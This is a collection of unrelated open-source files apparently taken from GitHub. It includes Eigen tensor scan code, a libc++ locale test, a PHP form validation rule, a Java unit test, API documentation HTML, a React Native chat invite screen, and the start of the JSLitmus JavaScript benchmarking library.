m_device(device),
m_exclusive(op.exclusive()),
m_accumulator(op.accumulator()),
m_size(m_impl.dimensions()[op.axis()]),
m_stride(1),
m_output(NULL) {
// Accumulating a scalar isn't supported.
EIGEN_STATIC_ASSERT((NumDims > 0), YOU_MADE_A_PROGRAMMING_MISTAKE);
eigen_assert(op.axis() >= 0 && op.axis() < NumDims);
// Compute stride of scan axis
const Dimensions& dims = m_impl.dimensions();
if (static_cast<int>(Layout) == static_cast<int>(ColMajor)) {
for (int i = 0; i < op.axis(); ++i) {
m_stride = m_stride * dims[i];
}
} else {
for (int i = NumDims - 1; i > op.axis(); --i) {
m_stride = m_stride * dims[i];
}
}
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Dimensions& dimensions() const {
return m_impl.dimensions();
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Index& stride() const {
return m_stride;
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Index& size() const {
return m_size;
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Op& accumulator() const {
return m_accumulator;
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool exclusive() const {
return m_exclusive;
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const TensorEvaluator<ArgType, Device>& inner() const {
return m_impl;
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Device& device() const {
return m_device;
}
EIGEN_STRONG_INLINE bool evalSubExprsIfNeeded(Scalar* data) {
m_impl.evalSubExprsIfNeeded(NULL);
ScanLauncher<Self, Op, Device> launcher;
if (data) {
launcher(*this, data);
return false;
}
const Index total_size = internal::array_prod(dimensions());
m_output = static_cast<CoeffReturnType*>(m_device.allocate(total_size * sizeof(Scalar)));
launcher(*this, m_output);
return true;
}
template<int LoadMode>
EIGEN_DEVICE_FUNC PacketReturnType packet(Index index) const {
return internal::ploadt<PacketReturnType, LoadMode>(m_output + index);
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE CoeffReturnType* data() const
{
return m_output;
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE CoeffReturnType coeff(Index index) const
{
return m_output[index];
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE TensorOpCost costPerCoeff(bool) const {
return TensorOpCost(sizeof(CoeffReturnType), 0, 0);
}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE void cleanup() {
if (m_output != NULL) {
m_device.deallocate(m_output);
m_output = NULL;
}
m_impl.cleanup();
}
protected:
TensorEvaluator<ArgType, Device> m_impl;
const Device& m_device;
const bool m_exclusive;
Op m_accumulator;
const Index m_size;
Index m_stride;
CoeffReturnType* m_output;
};
// CPU implementation of scan
// TODO(ibab) This single-threaded implementation should be parallelized,
// at least by running multiple scans at the same time.
template <typename Self, typename Reducer, typename Device>
struct ScanLauncher {
void operator()(Self& self, typename Self::CoeffReturnType *data) {
Index total_size = internal::array_prod(self.dimensions());
// We fix the index along the scan axis to 0 and perform a
// scan per remaining entry. The iteration is split into two nested
// loops to avoid an integer division by keeping track of each idx1 and idx2.
for (Index idx1 = 0; idx1 < total_size; idx1 += self.stride() * self.size()) {
for (Index idx2 = 0; idx2 < self.stride(); idx2++) {
// Calculate the starting offset for the scan
Index offset = idx1 + idx2;
// Compute the scan along the axis, starting at the calculated offset
typename Self::CoeffReturnType accum = self.accumulator().initialize();
for (Index idx3 = 0; idx3 < self.size(); idx3++) {
Index curr = offset + idx3 * self.stride();
if (self.exclusive()) {
data[curr] = self.accumulator().finalize(accum);
self.accumulator().reduce(self.inner().coeff(curr), &accum);
} else {
self.accumulator().reduce(self.inner().coeff(curr), &accum);
data[curr] = self.accumulator().finalize(accum);
}
}
}
}
}
};
#if defined(EIGEN_USE_GPU) && defined(__CUDACC__)
// GPU implementation of scan
// TODO(ibab) This placeholder implementation performs multiple scans in
// parallel, but it would be better to use a parallel scan algorithm and
// optimize memory access.
template <typename Self, typename Reducer>
__global__ void ScanKernel(Self self, Index total_size, typename Self::CoeffReturnType* data) {
// Compute offset as in the CPU version
Index val = threadIdx.x + blockIdx.x * blockDim.x;
Index offset = (val / self.stride()) * self.stride() * self.size() + val % self.stride();
if (offset + (self.size() - 1) * self.stride() < total_size) {
// Compute the scan along the axis, starting at the calculated offset
typename Self::CoeffReturnType accum = self.accumulator().initialize();
for (Index idx = 0; idx < self.size(); idx++) {
Index curr = offset + idx * self.stride();
if (self.exclusive()) {
data[curr] = self.accumulator().finalize(accum);
self.accumulator().reduce(self.inner().coeff(curr), &accum);
} else {
self.accumulator().reduce(self.inner().coeff(curr), &accum);
data[curr] = self.accumulator().finalize(accum);
}
}
}
__syncthreads();
}
template <typename Self, typename Reducer>
struct ScanLauncher<Self, Reducer, GpuDevice> {
void operator()(const Self& self, typename Self::CoeffReturnType* data) {
Index total_size = internal::array_prod(self.dimensions());
Index num_blocks = (total_size / self.size() + 63) / 64;
Index block_size = 64;
LAUNCH_CUDA_KERNEL((ScanKernel<Self, Reducer>), num_blocks, block_size, 0, self.device(), self, total_size, data);
}
};
#endif // EIGEN_USE_GPU && __CUDACC__
} // end namespace Eigen
#endif // EIGEN_CXX11_TENSOR_TENSOR_SCAN_H
| {
"pile_set_name": "Github"
} |
prefix=/usr
exec_prefix=${prefix}
libdir=${exec_prefix}/lib
includedir=${prefix}/include
Name: lmdb
Description: Lightning memory-mapped database
Version: 0.9.21
Libs: -L${libdir} -llmdb
Cflags: -I${includedir}
| {
"pile_set_name": "Github"
} |
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// REQUIRES: locale.en_US.UTF-8
// REQUIRES: locale.ru_RU.UTF-8
// UNSUPPORTED: sanitizer-new-delete
// XFAIL: availability=macosx10.8
// XFAIL: availability=macosx10.7
// <locale>
// locale(const locale& other, const string& std_name, category cat);
#include <locale>
#include <new>
#include <cassert>
#include "count_new.hpp"
#include "platform_support.h" // locale name macros
void check(const std::locale& loc)
{
assert(std::has_facet<std::collate<char> >(loc));
assert(std::has_facet<std::collate<wchar_t> >(loc));
assert(std::has_facet<std::ctype<char> >(loc));
assert(std::has_facet<std::ctype<wchar_t> >(loc));
assert((std::has_facet<std::codecvt<char, char, std::mbstate_t> >(loc)));
assert((std::has_facet<std::codecvt<char16_t, char, std::mbstate_t> >(loc)));
assert((std::has_facet<std::codecvt<char32_t, char, std::mbstate_t> >(loc)));
assert((std::has_facet<std::codecvt<wchar_t, char, std::mbstate_t> >(loc)));
assert((std::has_facet<std::moneypunct<char> >(loc)));
assert((std::has_facet<std::moneypunct<wchar_t> >(loc)));
assert((std::has_facet<std::money_get<char> >(loc)));
assert((std::has_facet<std::money_get<wchar_t> >(loc)));
assert((std::has_facet<std::money_put<char> >(loc)));
assert((std::has_facet<std::money_put<wchar_t> >(loc)));
assert((std::has_facet<std::numpunct<char> >(loc)));
assert((std::has_facet<std::numpunct<wchar_t> >(loc)));
assert((std::has_facet<std::num_get<char> >(loc)));
assert((std::has_facet<std::num_get<wchar_t> >(loc)));
assert((std::has_facet<std::num_put<char> >(loc)));
assert((std::has_facet<std::num_put<wchar_t> >(loc)));
assert((std::has_facet<std::time_get<char> >(loc)));
assert((std::has_facet<std::time_get<wchar_t> >(loc)));
assert((std::has_facet<std::time_put<char> >(loc)));
assert((std::has_facet<std::time_put<wchar_t> >(loc)));
assert((std::has_facet<std::messages<char> >(loc)));
assert((std::has_facet<std::messages<wchar_t> >(loc)));
}
int main()
{
{
std::locale loc(LOCALE_ru_RU_UTF_8);
check(loc);
std::locale loc2(loc, std::string(LOCALE_en_US_UTF_8), std::locale::monetary);
check(loc2);
}
assert(globalMemCounter.checkOutstandingNewEq(0));
}
| {
"pile_set_name": "Github"
} |
<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
// +----------------------------------------------------------------------+
// | PHP version 4.0 |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2003 The PHP Group |
// +----------------------------------------------------------------------+
// | This source file is subject to version 2.0 of the PHP license, |
// | that is bundled with this package in the file LICENSE, and is |
// | available at through the world-wide-web at |
// | http://www.php.net/license/2_02.txt. |
// | If you did not receive a copy of the PHP license and are unable to |
// | obtain it through the world-wide-web, please send a note to |
// | [email protected] so we can mail you a copy immediately. |
// +----------------------------------------------------------------------+
// | Authors: Bertrand Mansion <[email protected]> |
// +----------------------------------------------------------------------+
//
// $Id$
require_once('HTML/QuickForm/Rule.php');
/**
* Validates values using range comparison
* @version 1.0
*/
class HTML_QuickForm_Rule_Range extends HTML_QuickForm_Rule
{
/**
* Validates a value using a range comparison
*
* @param string $value Value to be checked
* @param mixed $options Int for length, array for range
* @access public
* @return boolean true if value is valid
*/
function validate($value, $options = null)
{
$length = core_text::strlen($value);
switch ($this->name) {
case 'minlength': return ($length >= $options);
case 'maxlength': return ($length <= $options);
default: return ($length >= $options[0] && $length <= $options[1]);
}
} // end func validate
function getValidationScript($options = null)
{
switch ($this->name) {
case 'minlength':
$test = '{jsVar}.length < '.$options;
break;
case 'maxlength':
$test = '{jsVar}.length > '.$options;
break;
default:
$test = '({jsVar}.length < '.$options[0].' || {jsVar}.length > '.$options[1].')';
}
return array('', "{jsVar} != '' && {$test}");
} // end func getValidationScript
} // end class HTML_QuickForm_Rule_Range
?>
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.servicecomb.provider.pojo.reference;
import static org.hamcrest.core.IsInstanceOf.instanceOf;
import static org.junit.Assert.assertThat;
import org.apache.servicecomb.config.ConfigUtil;
import org.apache.servicecomb.core.SCBEngine;
import org.apache.servicecomb.core.bootstrap.SCBBootstrap;
import org.apache.servicecomb.foundation.common.exceptions.ServiceCombException;
import org.apache.servicecomb.foundation.test.scaffolding.config.ArchaiusUtils;
import org.apache.servicecomb.provider.pojo.IPerson;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class PojoReferenceMetaTest {
@Before
public void setUp() {
ConfigUtil.installDynamicConfig();
}
@After
public void teardown() {
ArchaiusUtils.resetConfig();
}
@Test
public void testHasConsumerInterface() {
SCBEngine scbEngine = SCBBootstrap.createSCBEngineForTest();
PojoReferenceMeta pojoReferenceMeta = new PojoReferenceMeta();
pojoReferenceMeta.setMicroserviceName("test");
pojoReferenceMeta.setSchemaId("schemaId");
pojoReferenceMeta.setConsumerIntf(IPerson.class);
pojoReferenceMeta.afterPropertiesSet();
Assert.assertEquals(IPerson.class, pojoReferenceMeta.getObjectType());
assertThat(pojoReferenceMeta.getProxy(), instanceOf(IPerson.class));
Assert.assertEquals(true, pojoReferenceMeta.isSingleton());
scbEngine.destroy();
}
@Test
public void testNoConsumerInterface() {
PojoReferenceMeta pojoReferenceMeta = new PojoReferenceMeta();
pojoReferenceMeta.setMicroserviceName("test");
pojoReferenceMeta.setSchemaId("schemaId");
try {
pojoReferenceMeta.afterPropertiesSet();
Assert.fail("must throw exception");
} catch (ServiceCombException e) {
Assert.assertEquals(
"microserviceName=test, schemaid=schemaId, \n"
+ "do not support implicit interface anymore, \n"
+ "because that caused problems:\n"
+ " 1.the startup process relies on other microservices\n"
+ " 2.cyclic dependent microservices can not be deployed\n"
+ "suggest to use @RpcReference or "
+ "<cse:rpc-reference id=\"...\" microservice-name=\"...\" schema-id=\"...\" interface=\"...\"></cse:rpc-reference>.",
e.getMessage());
}
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<title>Api Documentation</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/bootstrap.min.css'/>
<link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/prettify.css'/>
<link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/bootstrap-responsive.min.css'/>
<link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/application.css'/>
<!-- IE6-8 support of HTML5 elements -->
<!--[if lt IE 9]>
<script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body>
<div class="container-fluid">
<div class="row-fluid">
<div id='container'>
<ul class='breadcrumb'>
<li>
<a href='../../../apidoc/v2.ca.html'>Foreman v2</a>
<span class='divider'>/</span>
</li>
<li>
<a href='../../../apidoc/v2/usergroups.ca.html'>
Usergroups
</a>
<span class='divider'>/</span>
</li>
<li class='active'>destroy</li>
<li class='pull-right'>
[ <b><a href="../../../apidoc/v2/usergroups/destroy.ca.html">ca</a></b> | <a href="../../../apidoc/v2/usergroups/destroy.cs_CZ.html">cs_CZ</a> | <a href="../../../apidoc/v2/usergroups/destroy.de.html">de</a> | <a href="../../../apidoc/v2/usergroups/destroy.en.html">en</a> | <a href="../../../apidoc/v2/usergroups/destroy.en_GB.html">en_GB</a> | <a href="../../../apidoc/v2/usergroups/destroy.es.html">es</a> | <a href="../../../apidoc/v2/usergroups/destroy.fr.html">fr</a> | <a href="../../../apidoc/v2/usergroups/destroy.gl.html">gl</a> | <a href="../../../apidoc/v2/usergroups/destroy.it.html">it</a> | <a href="../../../apidoc/v2/usergroups/destroy.ja.html">ja</a> | <a href="../../../apidoc/v2/usergroups/destroy.ko.html">ko</a> | <a href="../../../apidoc/v2/usergroups/destroy.nl_NL.html">nl_NL</a> | <a href="../../../apidoc/v2/usergroups/destroy.pl.html">pl</a> | <a href="../../../apidoc/v2/usergroups/destroy.pt_BR.html">pt_BR</a> | <a href="../../../apidoc/v2/usergroups/destroy.ru.html">ru</a> | <a href="../../../apidoc/v2/usergroups/destroy.sv_SE.html">sv_SE</a> | <a href="../../../apidoc/v2/usergroups/destroy.zh_CN.html">zh_CN</a> | <a href="../../../apidoc/v2/usergroups/destroy.zh_TW.html">zh_TW</a> ]
</li>
</ul>
<div class='page-header'>
<h1>
DELETE /api/usergroups/:id
<br>
<small>Suprimeix un grup d'usuaris</small>
</h1>
</div>
<div>
<h2><span class="translation_missing" title="translation missing: ca.apipie.params">Params</span></h2>
<table class='table'>
<thead>
<tr>
<th><span class="translation_missing" title="translation missing: ca.apipie.param_name">Param Name</span></th>
<th><span class="translation_missing" title="translation missing: ca.apipie.description">Description</span></th>
</tr>
</thead>
<tbody>
<tr style='background-color:rgb(255,255,255);'>
<td>
<strong>location_id </strong><br>
<small>
<span class="translation_missing" title="translation missing: ca.apipie.optional">Optional</span>
</small>
</td>
<td>
<p>Set the current location context for the request</p>
<p><strong>Validations:</strong></p>
<ul>
<li>
<p>Must be a Integer</p>
</li>
</ul>
</td>
</tr>
<tr style='background-color:rgb(255,255,255);'>
<td>
<strong>organization_id </strong><br>
<small>
<span class="translation_missing" title="translation missing: ca.apipie.optional">Optional</span>
</small>
</td>
<td>
<p>Set the current organization context for the request</p>
<p><strong>Validations:</strong></p>
<ul>
<li>
<p>Must be a Integer</p>
</li>
</ul>
</td>
</tr>
<tr style='background-color:rgb(255,255,255);'>
<td>
<strong>id </strong><br>
<small>
<span class="translation_missing" title="translation missing: ca.apipie.required">Required</span>
</small>
</td>
<td>
<p><strong>Validations:</strong></p>
<ul>
<li>
<p>Must be a String</p>
</li>
</ul>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<hr>
<footer></footer>
</div>
<script type='text/javascript' src='../../../apidoc/javascripts/bundled/jquery.js'></script>
<script type='text/javascript' src='../../../apidoc/javascripts/bundled/bootstrap-collapse.js'></script>
<script type='text/javascript' src='../../../apidoc/javascripts/bundled/prettify.js'></script>
<script type='text/javascript' src='../../../apidoc/javascripts/apipie.js'></script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
import React from 'react';
import { View } from 'react-native';
import { Button } from 'react-native-elements';
import { connect } from 'react-redux';
import Icon from 'react-native-vector-icons/Ionicons';
import { FlatList } from 'react-native-gesture-handler';
import SendBird from 'sendbird';
import { style } from '../style/invite';
import Action from '../action/invite';
import UserView from '../view/user';
import { toast } from '../utils';
let _selectedUserIds = [];
export class InviteController extends React.Component {
static navigationOptions = ({ navigation }) => {
const channel = navigation.getParam('channel', null);
return {
title: !channel ? 'Create new channel' : 'Invite',
headerRight: (
<View style={{ flexDirection: 'row' }}>
<Button
containerStyle={style.headerInviteContainer}
buttonStyle={style.headerInvite}
icon={<Icon name="md-add" color="#7d62d9" size={28}></Icon>}
onPress={() => {
if (!channel) {
if (_selectedUserIds.length > 0) {
const sb = SendBird.getInstance();
const params = new sb.GroupChannelParams();
params.addUserIds(_selectedUserIds);
sb.GroupChannel.createChannel(params, (channel, err) => {
if (!err) {
navigation.replace('Chat', { channel });
} else {
toast('Failed to create channel.');
}
});
} else {
toast('Choose at least 1 user to invite.');
}
} else {
channel.inviteWithUserIds(_selectedUserIds, (res, err) => {
if (!err) {
navigation.pop();
} else {
toast('Failed to invite users.');
}
isLoading = false;
});
}
}}
/>
</View>
)
};
};
constructor(props) {
super(props);
const sb = SendBird.getInstance();
this.query = sb.createUserListQuery();
this.channel = this.props.navigation.getParam('channel', null);
this.state = {
users: []
};
}
static getDerivedStateFromProps(props, state) {
state.users = props.users;
return state;
}
componentDidMount() {
this.next();
}
componentWillUnmount() {
_selectedUserIds = [];
}
toggle(selected, user) {
if (selected) {
if (_selectedUserIds.indexOf(user.userId) < 0) {
_selectedUserIds.push(user.userId);
}
} else {
const index = _selectedUserIds.indexOf(user.userId);
if (index >= 0) {
_selectedUserIds.splice(index, 1);
}
}
}
next() {
if (this.query.hasNext) {
this.query.next((users, err) => {
if (!err) {
let filteredUsers = [];
if (this.channel) {
for (let i in users) {
if (this.channel.members.map(m => m.userId).indexOf(users[i].userId) < 0) {
filteredUsers.push(users[i]);
}
}
} else {
filteredUsers = users;
}
if (filteredUsers.length < this.query.limit && this.query.hasNext) {
setTimeout(() => this.next(), 200);
} else {
this.props.fetchUsers(filteredUsers);
}
}
});
}
}
render() {
return (
<View>
<FlatList
data={this.state.users}
keyExtractor={user => user.userId + ''}
onEndReached={this.next.bind(this)}
renderItem={bundle => (
<UserView
user={bundle.item}
selectable={true}
selected={_selectedUserIds.indexOf(bundle.item.userId) >= 0}
onPress={this.toggle.bind(this)}
/>
)}
/>
</View>
);
}
}
export default connect(
previousState => {
const { invite } = previousState;
return { ...invite };
},
Action
)(InviteController);
| {
"pile_set_name": "Github"
} |
{
"images" : [
{
"idiom" : "universal",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"idiom" : "universal",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
<!-- Generated by Natural Docs, version 1.4 -->
<!-- http://www.naturaldocs.org -->
<!-- saved from url=(0026)http://www.naturaldocs.org -->
<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_Examples><div class=IEntry><a href="../files/ba-linkify-js.html#Examples" target=_parent class=ISymbol>Examples</a></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
document.getElementById("Loading").style.display="none";
document.getElementById("NoMatches").style.display="none";
var searchResults = new SearchResults("searchResults", "HTML");
searchResults.Search();
--></script></div><script language=JavaScript><!--
if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html> | {
"pile_set_name": "Github"
} |
// JSLitmus.js
//
// History:
// 2008-10-27: Initial release
// 2008-11-09: Account for iteration loop overhead
// 2008-11-13: Added OS detection
// 2009-02-25: Create tinyURL automatically, shift-click runs tests in reverse
//
// Copyright (c) 2008-2009, Robert Kieffer
// All Rights Reserved
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the
// Software), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to permit
// persons to whom the Software is furnished to do so, subject to the
// following conditions:
//
// THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.
(function() {
// Private methods and state
// Get platform info but don't go crazy trying to recognize everything
// that's out there. This is just for the major platforms and OSes.
var platform = 'unknown platform', ua = navigator.userAgent;
// Detect OS
var oses = ['Windows','iPhone OS','(Intel |PPC )?Mac OS X','Linux'].join('|');
var pOS = new RegExp('((' + oses + ') [^ \);]*)').test(ua) ? RegExp.$1 : null;
if (!pOS) pOS = new RegExp('((' + oses + ')[^ \);]*)').test(ua) ? RegExp.$1 : null;
// Detect browser
var pName = /(Chrome|MSIE|Safari|Opera|Firefox)/.test(ua) ? RegExp.$1 : null;
// Detect version
var vre = new RegExp('(Version|' + pName + ')[ \/]([^ ;]*)');
var pVersion = (pName && vre.test(ua)) ? RegExp.$2 : null;
var platform = (pOS && pName && pVersion) ? pName + ' ' + pVersion + ' on ' + pOS : 'unknown platform';
/**
* A smattering of methods that are needed to implement the JSLitmus testbed.
*/
var jsl = {
/**
* Enhanced version of escape()
*/
escape: function(s) {
s = s.replace(/,/g, '\\,');
s = escape(s);
s = s.replace(/\+/g, '%2b');
s = s.replace(/ /g, '+');
return s;
},
/**
* Get an element by ID.
*/
$: function(id) {
return document.getElementById(id);
},
/**
* Null function
*/
F: function() {},
/**
* Set the status shown in the UI
*/
status: function(msg) {
var el = jsl.$('jsl_status');
if (el) el.innerHTML = msg || '';
},
/**
* Convert a number to an abbreviated string like, "15K" or "10M"
*/
toLabel: function(n) {
if (n == Infinity) {
return 'Infinity';
} else if (n > 1e9) {
n = Math.round(n/1e8);
return n/10 + 'B';
} else if (n > 1e6) {
n = Math.round(n/1e5);
return n/10 + 'M';
} else if (n > 1e3) {
n = Math.round(n/1e2);
return n/10 + 'K';
}
return n;
},
/**
* Copy properties from src to dst
*/
extend: function(dst, src) {
for (var k in src) dst[k] = src[k]; return dst;
},
/**
* Like Array.join(), but for the key-value pairs in an object
*/
join: function(o, delimit1, delimit2) {
if (o.join) return o.join(delimit1); // If it's an array
var pairs = [];
for (var k in o) pairs.push(k + delimit1 + o[k]);
return pairs.join(delimit2);
},
/**
* Array#indexOf isn't supported in IE, so we use this as a cross-browser solution
*/
indexOf: function(arr, o) {
if (arr.indexOf) return arr.indexOf(o);
for (var i = 0; i < this.length; i++) if (arr[i] === o) return i;
return -1;
}
};
/**
* Test manages a single test (created with
* JSLitmus.test())
*
* @private
*/
var Test = function (name, f) {
if (!f) throw new Error('Undefined test function');
if (!(/function[^\(]*\(([^,\)]*)/).test(f.toString())) {
throw new Error('"' + name + '" test: Test is not a valid Function object');
}
this.loopArg = RegExp.$1;
this.name = name;
this.f = f;
};
jsl.extend(Test, /** @lends Test */ {
/** Calibration tests for establishing iteration loop overhead */
CALIBRATIONS: [
new Test('calibrating loop', function(count) {while (count--);}),
new Test('calibrating function', jsl.F)
],
/**
* Run calibration tests. Returns true if calibrations are not yet
* complete (in which case calling code should run the tests yet again).
* onCalibrated - Callback to invoke when calibrations have finished
*/
calibrate: function(onCalibrated) {
for (var i = 0; i < Test.CALIBRATIONS.length; i++) {
var cal = Test.CALIBRATIONS[i];
if (cal.running) return true;
if (!cal.count) {
cal.isCalibration = true;
cal.onStop = onCalibrated;
//cal.MIN_TIME = .1; // Do calibrations quickly
cal.run(2e4);
return true;
}
}
return false;
}
});
jsl.extend(Test.prototype, {/** @lends Test.prototype */
/** Initial number of iterations */
INIT_COUNT: 10,
/** Max iterations allowed (i.e. used to detect bad looping functions) */
MAX_COUNT: 1e9,
/** Minimum time a test should take to get valid results (secs) */
MIN_TIME: .5,
/** Callback invoked when test state changes */
onChange: jsl.F,
/** Callback invoked when test is finished */
onStop: jsl.F,
/**
* Reset test state
*/
reset: function() {
delete this.count;
delete this.time;
delete this.running;
delete this.error;
},
/**
* Run the test (in a timeout). We use a timeout to make sure the browser
* has a chance to finish rendering any UI changes we've made, like
* updating the status message.
*/
run: function(count) {
count = count || this.INIT_COUNT;
jsl.status(this.name + ' x ' + count);
this.running = true;
var me = this;
setTimeout(function() {me._run(count);}, 200);
},
/**
* The nuts and bolts code that actually runs a test
*/
_run: function(count) {
var me = this;
// Make sure calibration tests have run
if (!me.isCalibration && Test.calibrate(function() {me.run(count);})) return;
this.error = null;
try {
var start, f = this.f, now, i = count;
// Start the timer
start = new Date();
// Now for the money shot. If this is a looping function ...
if (this.loopArg) {
// ... let it do the iteration itself
f(count);
} else {
// ... otherwise do the iteration for it
while (i--) f();
}
// Get time test took (in secs)
this.time = Math.max(1,new Date() - start)/1000;
// Store iteration count and per-operation time taken
this.count = count;
this.period = this.time/count;
// Do we need to do another run?
this.running = this.time <= this.MIN_TIME;
// ... if so, compute how many times we should iterate
if (this.running) {
// Bump the count to the nearest power of 2
var x = this.MIN_TIME/this.time;
var pow = Math.pow(2, Math.max(1, Math.ceil(Math.log(x)/Math.log(2))));
count *= pow;
if (count > this.MAX_COUNT) {
throw new Error('Max count exceeded. If this test uses a looping function, make sure the iteration loop is working properly.');
}
}
} catch (e) {
// Exceptions are caught and displayed in the test UI
this.reset();
this.error = e;
}
// Figure out what to do next
if (this.running) {
me.run(count);
} else {
jsl.status('');
me.onStop(me);
}
// Finish up
this.onChange(this);
},
/**
* Get the number of operations per second for this test.
*
* @param normalize if true, iteration loop overhead taken into account
*/
getHz: function(/**Boolean*/ normalize) {
var p = this.period;
// Adjust period based on the calibration test time
if (normalize && !this.isCalibration) {
var cal = Test.CALIBRATIONS[this.loopArg ? 0 : 1];
// If the period is within 20% of the calibration time, then zero the
// it out
p = p < cal.period*1.2 ? 0 : p - cal.period;
}
return Math.round(1/p);
},
/**
* Get a friendly string describing the test
*/
toString: function() {
return this.name + ' - ' + this.time/this.count + ' secs';
}
});
// CSS we need for the UI
var STYLESHEET = '<style> \
#jslitmus {font-family:sans-serif; font-size: 12px;} \
#jslitmus a {text-decoration: none;} \
#jslitmus a:hover {text-decoration: underline;} \
#jsl_status { \
margin-top: 10px; \
font-size: 10px; \
color: #888; \
} \
A IMG {border:none} \
#test_results { \
margin-top: 10px; \
font-size: 12px; \
font-family: sans-serif; \
border-collapse: collapse; \
border-spacing: 0px; \
} \
#test_results th, #test_results td { \
border: solid 1px #ccc; \
vertical-align: top; \
padding: 3px; \
} \
#test_results th { \
vertical-align: bottom; \
background-color: #ccc; \
padding: 1px; \
font-size: 10px; \
} \
#test_results #test_platform { \
color: #444; \
text-align:center; \
} \
#test_results .test_row { \
color: #006; \
cursor: pointer; \
} \
#test_results .test_nonlooping { \
border-left-style: dotted; \
border-left-width: 2px; \
} \
#test_results .test_looping { \
border-left-style: solid; \
border-left-width: 2px; \
} \
#test_results .test_name {white-space: nowrap;} \
#test_results .test_pending { \
} \
#test_results .test_running { \
font-style: italic; \
} \
#test_results .test_done {} \
#test_results .test_done { \
text-align: right; \
font-family: monospace; \
} \
#test_results .test_error {color: #600;} \
#test_results .test_error .error_head {font-weight:bold;} \
#test_results .test_error .error_body {font-size:85%;} \
#test_results .test_row:hover td { \
background-color: #ffc; \
text-decoration: underline; \
} \
#chart { \
margin: 10px 0px; \
width: 250px; \
} \
#chart img { \
border: solid 1px #ccc; \
margin-bottom: 5px; \
} \
#chart #tiny_url { \
height: 40px; \
width: 250px; \
} \
#jslitmus_credit { \
font-size: 10px; \
color: #888; \
margin-top: 8px; \
} \
</style>';
// HTML markup for the UI
var MARKUP = '<div id="jslitmus"> \
<button onclick="JSLitmus.runAll(event)">Run Tests</button> \
<button id="stop_button" disabled="disabled" onclick="JSLitmus.stop()">Stop Tests</button> \
<br \> \
<br \> \
<input type="checkbox" style="vertical-align: middle" id="test_normalize" checked="checked" onchange="JSLitmus.renderAll()""> Normalize results \
<table id="test_results"> \
<colgroup> \
<col /> \
<col width="100" /> \
</colgroup> \
<tr><th id="test_platform" colspan="2">' + platform + '</th></tr> \
<tr><th>Test</th><th>Ops/sec</th></tr> \
<tr id="test_row_template" class="test_row" style="display:none"> \
<td class="test_name"></td> \
<td class="test_result">Ready</td> \
</tr> \
</table> \
<div id="jsl_status"></div> \
<div id="chart" style="display:none"> \
<a id="chart_link" target="_blank"><img id="chart_image"></a> \
TinyURL (for chart): \
